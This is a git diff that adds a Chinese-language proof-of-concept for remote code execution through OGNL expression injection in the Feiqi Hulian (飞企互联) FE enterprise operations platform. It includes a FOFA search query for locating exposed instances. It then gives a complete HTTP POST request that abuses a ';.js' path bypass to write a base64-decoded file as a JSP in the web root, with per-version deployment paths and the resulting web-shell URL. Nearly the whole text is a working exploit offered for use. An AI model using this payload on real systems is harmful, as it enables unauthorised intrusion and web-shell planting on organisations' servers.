Create 飞企互联Ognl表达式注入导致RCE.md

飞企互联Ognl表达式注入导致RCE.md

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+## 飞企互联Ognl表达式注入导致RCE
+
+## fofa
+```
+app="飞企互联-FE企业运营管理平台"
+```
+
+## poc
+```
+POST /common/common_sort_tree.jsp;.js HTTP/1.1
+Host: xx.xx.xx.xx
+Accept-Encoding: gzip, deflate
+Content-Length: 174
+Accept-Language: zh-CN,zh;q=0.8
+Accept: */*
+User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
+Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
+Connection: close
+Referer: http://oa.meitrack.com:9090/
+Cache-Control: max-age=0
+Content-Type: application/x-www-form-urlencoded
+
+rootName={%25Thread.@fe.util.FileUtil@saveFileContext(new%20java.io.File("../server/default/deploy/fe.war/123.jsp"),new%20sun.misc.BASE64Decoder().decodeBuffer("d2hvYW1p"))%25}
+```
+
+## 版本文件路径
+6.6
+```
+../web/fe.war/123.jsp
+```
+6.0
+```
+../server/default/deploy/fe.war/123.jsp
+```
+
+shell: http://xx.xx.xx.xx/123.jsp;